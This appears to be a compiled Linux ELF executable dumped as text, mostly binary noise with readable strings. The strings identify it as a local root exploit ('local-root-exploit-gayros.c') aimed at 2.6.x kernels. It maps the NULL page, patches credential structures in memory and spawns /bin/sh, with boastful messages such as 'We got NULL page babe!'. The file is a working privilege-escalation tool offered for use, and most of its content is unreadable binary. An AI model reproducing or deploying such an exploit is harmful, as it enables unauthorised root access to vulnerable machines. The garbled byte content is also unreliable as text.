ELF> @@X @8@@@@@@@@@@ `` ``@@ Ptd@@ddQtd/lib64/ld-linux-x86-64.so.2GNU N%^wle D%W%%r18%k*U}I(__gmon_start__libc.so.6exitexeclpipeperrorsignalpersonalityputsmmapmprotectmallocgetgidclonegetuidatoicloseopenuname__libc_start_mainwritesnprintfGLIBC_2.2.5ui ````````` ` ` ` ` ``` `(`0`8`@`H`H"mH5 % @% h% h% h% h% h% h% h% hp% h`% h P% h @% h 0%z h %r h %j h%b h%Z h%R h%J h%B h%: h1I^HHPTI@H@HO@/HH1 HtHÐUHSH= uD`H-`HHXH H9vHH `H H9w H[UH= HtHt `IAÐUHH`tHEH}u EXEiHEH. HH9HHEHH HH9,HEHH HH9HEHH HH9HEH H HH9HEH(H HH9HEH0H HH9HEH8Hn HH9HMHHUHHEHHHHHHHHEHHMH HuH(HUH0HEH8HHHHHHH EHEE 9EHEHEHEHEE u:HEHEHEx@HEHuH}HM(tHZ HEHEHE@HE HuH}HM(uPE4HEu HEHHHEHEHHHE7HmE +E ;EHEE ;EH}HEHEHEH HH9.HEHHg HH9HEHHG HH9HEHH/ HH9HEH H HH9HEH(H HH9HEH0H HH9HEH8H HH9unHMHHUHHEHHHHHHHHEHHMH HuH(HUH0HEH8HHHHHHHHEH9 HH9.HEHH! HH9HEHH HH9HEHH HH9HEH H HH9HEH(H HH9HEH0H HH9HEH8Hy HH9unHMHHUHHEHHHHHHHHEHHMH HuH(HUH0HEH8HHHHHHH EEUHHEHEHEH%HHE HUH9vHEHHu HEHEOHEHEHEH%HHE HUH9vHEHHu HEHEHEHEUHHH}$x`Ru=< =-  tҸUHHP 0@HEH}u@AHuH?@Sy@kEX H}@@H}E}x}@}E}  t u  UHHHpHpH@=<2u <.t@m@cy<6t7 @DP@@+@!7HpHtE}-@-@=@} Džl} Džl DžllUHH@=u- uSY@ rAA2 Hub@3g@ > 7 -Ẽ}u@HEHEǀ,HE@HE@HEH@0HUHHEHPHEHEHEHEH@ @}u|@VHEHE@(HE@HE@HEH@hHUHHEHPHEHEHEHEH@ @}uy@HEHE@(HE@HE@HEH@hHUHHEHPHEHEHEHEH@ @@@[qu@Gvs u#@(@@?@UHHH}RUHH}UHH}Hu #ÐLd$Ll$L%+ Lt$L|$IH\$Hl$H8AIH I)IMt1HÐHLLDHI9uH\$Hl$Ld$Ll$ Lt$(L|$0H8ÐUHS`HH HtDHHHuH[ÐHHgayrospulseaudiomallocclone/proc/self/fd/%i.Using kernel version %s. WTF? Version different than 2?Where did you find this, www.ancientexploits.org?Exploit works only at some 2.6.x kernels.If you're using an older version, please upgrade or find another exploit (yes, you're vulnerable).If you're using a newer version, please downgrade.Versions < 2.6.17 aren't supported, find another exploit or write your own.Yes, you're vulnerable too.mprotectmmapWe got NULL page babe!Found version 1 structure, doing our tricks in memory...Found version 2 structure, doing our tricks in memory...Found version 3 structure, doing our tricks in memory...WTF is going on? getver() returned an invalid value!Go go go boy!We've got bush!sh/bin/shNo luck this time, are you on an SMP box? :(;d (N ]@u`zRx  @AC <~@AC \@CAC |a@AC g@)AC @AC -@AC E@ AC O@%AC zRx $4JQQ@ @ X@o@@@`@ `@@ op@oo>@`@@@@@@.@>@N@^@n@~@@@@@@@@@ @GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14)GCC: (GNU) 4.1.2 20071124 (Red Hat 4.1.2-42)GCC: (GNU) 4.1.2 20071124 (Red Hat 4.1.2-42)GCC: (GNU) 4.1.2 20071124 (Red Hat 4.1.2-42)GCC: (GNU) 4.1.2 20070626 (Red Hat 4.1.2-14).symtab.strtab.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment@#@ 1o@@@; `@`(C@Ko>@>.Xop@p g@q@ {@v@` @ 8 X@Xh@he@d8@8``````P`PX`T(Th'` 8 07@@@@`@@>@p@@ @ @ @ @ X@h@@8@``````P`X` L @`*`8`EX`S``b p @x @`@` @ @ ~@h`l`d`p`t``'`8`N`b`u``` P`x`% @ @ # @*l=P _ s% X@ a@h@  E@ P`#%5 g@)<p@I`V @fx%T`` -@ @CUT`(, O@%1 @call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST__dtor_idx.6147completed.6145__do_global_dtors_auxframe_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxlocal-root-exploit-gayros.cgetrootget_currentuidgiddonestacksizefrommain__preinit_array_start__fini_array_end_GLOBAL_OFFSET_TABLE___preinit_array_end__fini_array_start__init_array_end__init_array_start_DYNAMICdata_startpipefdmprotect@@GLIBC_2.2.5printf@@GLIBC_2.2.5runexploitgetgid@@GLIBC_2.2.5__libc_csu_finisnprintf@@GLIBC_2.2.5_startclose@@GLIBC_2.2.5clone@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5uname@@GLIBC_2.2.5exit@@GLIBC_2.2.5_finiexecl@@GLIBC_2.2.5malloc@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5trigger_IO_stdin_usedpa__done__data_startpipe@@GLIBC_2.2.5getver__dso_handle__DTOR_END____libc_csu_initatoi@@GLIBC_2.2.5signal@@GLIBC_2.2.5personality@@GLIBC_2.2.5__bss_startgetuid@@GLIBC_2.2.5_endpa__initmkpipeperror@@GLIBC_2.2.5_edatawrite@@GLIBC_2.2.5open@@GLIBC_2.2.5mmap@@GLIBC_2.2.5main_init